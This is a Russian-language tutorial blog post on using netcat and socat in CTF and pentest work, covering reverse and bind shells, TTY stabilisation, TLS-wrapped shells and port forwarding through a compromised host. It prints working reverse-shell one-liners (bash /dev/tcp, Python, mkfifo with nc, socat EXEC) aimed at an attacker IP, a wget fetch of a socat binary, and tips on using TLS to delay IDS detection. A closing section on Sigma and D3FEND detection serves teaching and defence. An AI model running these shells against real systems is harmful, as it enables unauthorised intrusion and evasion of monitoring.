
Два года на CTF и пентестах — и стабильная картина: участник нашёл уязвимость, собрал exploit, а шелл не ловится. Перепутанный IP в payload, listener на не том порту, Ctrl+C в dumb shell убивает сессию целиком. Транспортные ошибки сжирают больше времени, чем написание самого exploit'а. Между «нашёл RCE» и «забрал флаг» лежит набор конкретных приёмов работы с netcat и socat для CTF, которые writeup'ы стабильно пропускают как «очевидные». Разберём каждый пошагово: подключение к удалённому сервису, ловля reverse и bind shell, стабилизация TTY, шифрованные соединения через TLS и проброс портов через скомпрометированный хост.
Netcat (nc) — утилита для чтения и записи данных через TCP- и UDP-соединения. На Jeopardy-CTF это буквально первая команда: организаторы поднимают уязвимый бинарник, участникам дают строку подключения вида nc challenge.ctf.com 31337. Netcat создаёт «трубу» между клавиатурой и stdin/stdout удалённого процесса — набранное в терминале уходит на вход программы на сервере, её вывод возвращается обратно.
Но прежде чем копировать команды из чужого writeup'а — проверьте, какая версия netcat стоит на машине. На Linux живут три варианта с принципиально разным поведением:
-e (выполнение программы после подключения) не поддерживает. Команда nc -e /bin/sh IP PORT выдаст ошибку — и это не баг exploit'а.-e. В исходниках эта штука называется GAPING_SECURITY_HOLE — разработчики не скрывали, зачем оно нужно. Ставится отдельно.-e работает, есть SSL/TLS, прокси. На Kali Linux 2024+ стоит по умолчанию.Проверить версию: nc -h 2>&1 | head -1. Результат определяет, какие payload'ы будут работать. Типичная ошибка: скопировали nc -e /bin/sh из writeup'а для Kali, запустили на Ubuntu — получили ошибку и решили, что проблема в exploit'е. Проблема в версии netcat.
Базовая команда: nc challenge.ctf.com 31337. Флаг -v (verbose) покажет статус соединения, -n отключит DNS-резолвинг (быстрее при работе с IP). Для локальной отладки exploit'а удобна связка: поднимаете бинарник через socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary, подключаетесь через nc -v localhost 1337 — и отлаживаете payload на своей машине.
Частая путаница: набирают nc -lp 31337 challenge.ctf.com — ставят флаг -l (listen) там, где нужно клиентское подключение. Правило простое: -l — слушаем входящие (настройка netcat listener), без -l — подключаемся к чужому сервису.
Если exploit генерирует бинарные данные (buffer overflow payload), удобнее передать через pipe: python3 exploit.py | nc challenge.ctf.com 31337. Но для диагностики сетевых проблем чистый netcat для пентестера незаменим — он показывает ошибки соединения напрямую, без абстракций pwntools.
Reverse shell — целевая машина сама инициирует исходящее TCP-соединение к атакующему. По MITRE ATT&CK: запуск шелла через bash — Unix Shell (T1059.004, Execution), обратное соединение — Remote Access Tools (T1219, Command and Control), нестандартные порты — Non-Standard Port (T1571, Command and Control).
Зачем на CTF: через RCE-уязвимость удалось выполнить код на сервере, но однострочного вывода мало. Нужна полноценная интерактивная оболочка — искать флаг, читать конфиги, эскалировать привилегии. Reverse shell netcat — мост между «нашёл дыру» и «работаю на машине».
В сценариях с сетевой фильтрацией (WAN-подобные пентесты, корпоративные сети) файрволы блокируют входящие подключения на нестандартных портах, но базовые stateful firewall'ы часто пропускают исходящий трафик — поэтому reverse shell предпочтительнее. Во многих CTF-инфраструктурах (Docker-сети, VPN до хоста, attack-defense с прямым L2/L3 доступом) файрвол отсутствует или минимален — разницы между bind и reverse shell практически нет. А вот в корпоративных сетях с NGFW и egress-фильтрацией исходящие TCP-соединения на нестандартных портах тоже детектируются и блокируются application-aware правилами, так что голый TCP reverse shell там не панацея.
На атакующей машине запускаете: nc -lvnp 4444. Разбор флагов: -l — listen, -v — verbose, -n — без DNS-резолвинга, -p 4444 — порт прослушивания. Терминал «зависнет» в ожидании — так и должно быть.
Оберните listener в rlwrap nc -lvnp 4444 — обёртка rlwrap netcat добавит стрелки и историю команд (пакет ставится через sudo apt install rlwrap). Или используйте socat как listener: socat file:$(tty),raw,echo=0 tcp-listen:4444 — шелл придёт сразу с базовой интерактивностью.
Перед запуском payload обязательно уточните свой IP. На HackTheBox: ip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1. На локальной сети: ip addr show eth0.
Выбор порта: на учебном стенде — любой свободный (4444, 9001, 1337). На пентесте reverse shell иногда запускают на 80 или 443 — они могут проскочить простые stateless firewall с port-based ACL. Но в корпоративных сетях с forward-proxy, DPI или TLS-инспекцией голый TCP-коннект на порту 443 (без валидного TLS handshake) будет отличаться от легитимного HTTPS-трафика и с высокой вероятностью заблокируется.
Самый распространённый однострочник для Linux:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
Здесь bash -i запускает интерактивную оболочку, >& /dev/tcp/IP/PORT перенаправляет stdout и stderr в TCP-соединение (встроенная псевдо-конструкция bash, не реальный файл в файловой системе; поддержка определяется макросом NETWORK_REDIRECTS в config-top.h при компиляции и включена в большинстве дистрибутивных сборок, кроме Debian/Ubuntu), 0>&1 перенаправляет stdin туда же.
Нюанс, на котором спотыкаются: на Debian и Ubuntu /bin/sh — это dash, у которого /dev/tcp нет в принципе. Если payload выполняется через /bin/sh, оборачивайте: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.
Python-альтернатива (если bash недоступен):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Однострочник создаёт TCP-сокет, подключается к listener и перенаправляет все потоки ввода-вывода в соединение.
Когда ни bash /dev/tcp, ни Python не доступны — mkfifo reverse shell через именованный канал. Работает с большинством версий netcat, включая busybox nc (зависит от сборки — некоторые minimal-конфигурации BusyBox компилируются без TCP-поддержки; проверяйте nc -h):
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f
Построчно: mkfifo /tmp/f создаёт FIFO-файл. cat /tmp/f читает из него команды атакующего и передаёт на stdin /bin/sh. Вывод шелла через pipe уходит в nc, который отправляет его атакующему через сокет. Ответы из сокета записываются > /tmp/f обратно в FIFO — замкнутый цикл. rm /tmp/f стоит первой: если файл уже существует как обычный файл, mkfifo вернёт ошибку. Если /tmp смонтирован с noexec или запись запрещена — создавайте pipe в /dev/shm или домашнем каталоге.
Этот подход — самый универсальный: mkfifo, cat, sh и nc есть в большинстве сборок busybox (но nc может отсутствовать в minimal-конфигурациях без CONFIG_NC).
Первая: перепутан IP — вместо адреса атакующей машины подставляют адрес целевой. Соединение уходит «в никуда», listener молчит, без verbose-флага непонятно что происходит. Вторая: listener на порту 4444, payload отправлен на 4445. На CTF в спешке такие опечатки сжигают десятки минут. Привычка: перед запуском payload проверяйте IP и порт в обоих местах. Всегда.
Полученный reverse shell — «тупой» (dumb). Ctrl+C убивает соединение целиком вместо текущего процесса. Tab не работает. Стрелки печатают escape-последовательности вместо навигации по истории. su не может запросить пароль — нет PTY для интерактивного ввода.
На CTF это напрямую блокирует эскалацию привилегий: для privesc часто нужно запустить su (требует PTY; согласно GTFOBins, su запускает оболочку от имени другого пользователя при известном пароле), sudo -i для смены контекста или отредактировать файл в текстовом редакторе. Всё это работает только после стабилизации TTY.
Полная стабилизация через stty — рекомендуемый способ (pty shell upgrade):
# На целевой (внутри dumb shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z — шелл уйдёт в background
# На атакующей:
stty raw -echo; fg
# После возврата — настроить терминал:
export TERM=xterm
stty rows 40 cols 120
После этого работает всё: Tab, стрелки, Ctrl+C прерывает текущий процесс (а не убивает сессию), su и sudo корректно запрашивают пароль через PTY. Но стабилизация лишь делает возможным интерактивный ввод — если пароль или sudo-права неизвестны, привилегий она не даёт. Значения rows и cols берите из своего терминала командой stty size — если не выставить, вывод длинных команд будет «ломаться» по ширине.
Если Python3 отсутствует: python -c 'import pty; pty.spawn("/bin/bash")' (Python 2) или script -qc /bin/bash /dev/null (утилита script есть практически на любом Linux). Попробуйте which python python2 python3 чтобы понять, что доступно.
Ошибка, на которую наступают все: забывают stty raw -echo перед fg. Без этого шага pty формально существует, но сигналы обрабатываются неправильно — шелл полустабилизирован и ведёт себя непредсказуемо. Если случайно сломали терминал командой stty raw -echo, наберите вслепую stty sane и Enter — текст не увидите, но настройки восстановятся.
Когда полная стабилизация shell CTF невозможна, rlwrap работает как минимальная альтернатива: rlwrap nc -lvnp 4444 добавит readline-обёртку к listener — стрелки и Ctrl+R заработают. Это не замена полноценного TTY (vim не запустится), но для навигации по файловой системе хватит.
Socat — расширенная версия netcat, которая работает с произвольными парами потоков данных: socket-to-socket, file-to-socket, pty-to-socket. Два преимущества socat reverse shell перед netcat: полноценный PTY-шелл без post-connection upgrade и нативное шифрование TLS.
На атакующей: socat file:$(tty),raw,echo=0 tcp-listen:4444. На целевой: socat tcp:10.10.10.1:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane. Результат — полноценный интерактивный шелл без танцев с python3 pty.spawn и stty raw -echo. Tab, стрелки, Ctrl+C, vim и su работают сразу. Красота.
Разбор флагов на целевой стороне: pty — выделить псевдотерминал, stderr — перенаправить stderr в соединение, setsid — создать новую группу процессов (шелл продолжит работать после отключения клиента), sigint — передавать Ctrl+C в удалённый шелл, sane — корректные настройки терминала. Подробности — в man socat.
Проблема: socat редко предустановлен на целевых машинах. Решение — загрузить статический бинарник. На атакующей поднимаете HTTP-сервер: python3 -m http.server 80. На целевой скачиваете: wget http://10.10.10.1/socat -O /tmp/socat && chmod +x /tmp/socat и запускаете. Прекомпилированные статические бинарники socat для разных архитектур валяются в CTF-инструментариях.
Socat умеет оборачивать соединение в TLS — трафик шифруется, что критично при работе на сетях с IDS или при необходимости скрыть содержимое от перехвата. Генерация сертификата:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
Listener на атакующей: socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:$(tty),raw,echo=0. Подключение с целевой: socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane. Флаг verify=0 отключает проверку сертификата — для CTF нормально, для реального пентеста стоит использовать валидный серт.
TLS-обёртка скрывает содержимое сетевого трафика от network-based детекта, но не влияет на process-creation телеметрию — команда запуска socat OPENSSL:...EXEC:'bash -li'... всё ещё может быть замечена EDR или auditd-правилами (включая lnx_shell_susp_rev_shells.yml из SigmaHQ, которое срабатывает по паттернам командной строки, а не по сетевому payload).
Сценарий из attack-defense: получили шелл на веб-сервере (10.0.0.5), а база данных с флагами живёт на внутреннем хосте 192.168.1.100:3306 — маршрут до неё есть только от веб-сервера. Напрямую из вашей сети до внутреннего хоста не достучаться. Классический port forwarding CTF.
Проброс портов через socat на скомпрометированном хосте:
socat TCP-LISTEN:8888,reuseaddr,fork TCP:192.168.1.100:3306
Команда слушает на порту 8888 веб-сервера и перенаправляет весь трафик на внутренний хост. С атакующей машины подключаетесь к 10.0.0.5:8888 — и работаете с базой как с локальной.
Флаги: fork создаёт новый процесс для каждого подключения (без него socat обработает одно соединение и завершится — сюрприз), reuseaddr позволяет переиспользовать порт при перезапуске без ожидания TIME_WAIT. Для многоуровневого пивотинга (хост A → B → C) на каждом промежуточном хосте поднимается аналогичный relay — цепочка socat-прокси.
Netcat тоже может пробрасывать порты, но его pipe-конструкции однонаправленны и требуют mkfifo для двустороннего обмена. Socat создаёт полноценный двунаправленный прокси одной командой — проброс портов через socat проще и надёжнее.
Bind shell netcat — обратная схема: целевая машина открывает порт и ждёт входящего подключения. Атакующий подключается и получает оболочку.
Когда bind shell предпочтительнее: вы контролируете файрвол целевой (или его нет), а ваша машина за NAT без пробросов. В CTF встречается реже, но в Docker-контейнерах и в attack-defense — рабочий вариант.
Через netcat (если -e доступен): на целевой — nc -lvnp 4444 -e /bin/bash, на атакующей — nc -nv 10.10.10.2 4444. Без -e — аналогичная mkfifo-конструкция с listener'ом:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 4444 > /tmp/f
Через socat: на целевой — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane, на атакующей — socat FILE:$(tty),raw,echo=0 TCP:10.10.10.2:4444. Получаете полноценный TTY сразу — те же преимущества socat, что и в reverse-варианте.
Bind shell проще обнаружить: открытый порт виден при сканировании, файрволы блокируют входящие подключения на нестандартных портах. Reverse shell обходит это за счёт исходящего соединения — поэтому остаётся стандартом и на CTF, и на пентестах.
| Критерий | netcat (nc / ncat) | socat |
|---|---|---|
| Предустановлен | Да (почти везде) | Редко |
| Флаг -e для шелла | Зависит от версии | Не нужен (EXEC:) |
| TTY из коробки | Нет (нужна стабилизация) | Да (pty) |
| Шифрование TLS | Только ncat (--ssl) | Нативно (OPENSSL) |
| Проброс портов | Базовый (pipe) | Полноценный двунаправленный |
| Синтаксис | Простой | Требует привыкания |
| Множественные подключения | Через -k (не везде) | Через fork |
| Первый инструмент для новичка | Да | После освоения netcat |
Практическое правило: начинайте с netcat — он проще и доступен на любой системе. Переходите на socat когда нужен TTY без стабилизации, TLS-шифрование или полноценный проброс портов. На CTF оба инструмента дополняют друг друга: netcat для быстрого подключения к сервису и чтобы поймать шелл netcat в простых сценариях, socat — для комфортной работы и пивотинга.
Последовательность, проверенная на практике:
bash -i >& /dev/tcp/IP/PORT 0>&1 — работает на большинстве Linux с bashЗапомните этот порядок — он экономит время на соревнованиях, когда неизвестно что установлено на целевой.
Понимание детектирования помогает на CTF с элементами attack-defense: если на таске работает мониторинг, стандартные однострочники не пройдут.
В репозитории SigmaHQ для Linux: правило lnx_shell_susp_rev_shells.yml отлавливает характерные паттерны — /dev/tcp, mkfifo, socat с EXEC. Правило lnx_shell_susp_commands.yml детектирует подозрительные шелл-вызовы в целом. net_connection_lnx_susp_malware_callback_port.yml ловит исходящие подключения на типичных «малварных» портах (T1571).
Защитная модель D3FEND (MITRE) рекомендует для противодействия Unix Shell (T1059.004): Executable Allowlisting (D3-EAL) и File Integrity Monitoring (D3-FIM). Для обнаружения Remote Access Tools (T1219): Network Traffic Community Deviation (D3-NTCD) и Protocol Metadata Anomaly Detection (D3-PMAD). Для Non-Standard Port (T1571): Outbound Traffic Filtering (D3-OTF) и Remote Terminal Session Detection (D3-RTSD).
На практике: стандартный bash /dev/tcp ловится Sigma-правилами за секунды. TLS-обёртка socat или обфускация payload — не «продвинутая техника», а необходимость на таске с мониторингом.
Устойчивый паттерн, который наблюдаю раз за разом: новички вкладывают недели в exploitation frameworks и ROP-цепочки — и теряют флаг из-за кривого listener или dumb shell без TTY. Netcat и socat для CTF — не «базовый инструмент, который все знают». Это фундамент, без которого exploit бесполезен. Потратьте один вечер: поднимите два виртуальных хоста, прогоните каждый payload из этой статьи, специально перепутайте IP — и посмотрите на результат. Это сэкономит часы на реальных соревнованиях.
За последний год socat encrypted shell стал моим дефолтом на проектах с IDS — стандартный reverse shell через netcat ловится из коробки, а TLS-обёртка добавляет серьёзный запас по времени до обнаружения. На CTF шифрование пока экзотика, но в attack-defense сценариях встречается всё чаще, и те кто владеет socat на уровне рефлекса — забирают флаги первыми. Если кажется, что слишком много инструментов разом — на IB Basics в codeby.school базу выстраивают от сетей до первых практических задач, без «вы должны знать Linux на уровне X».
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...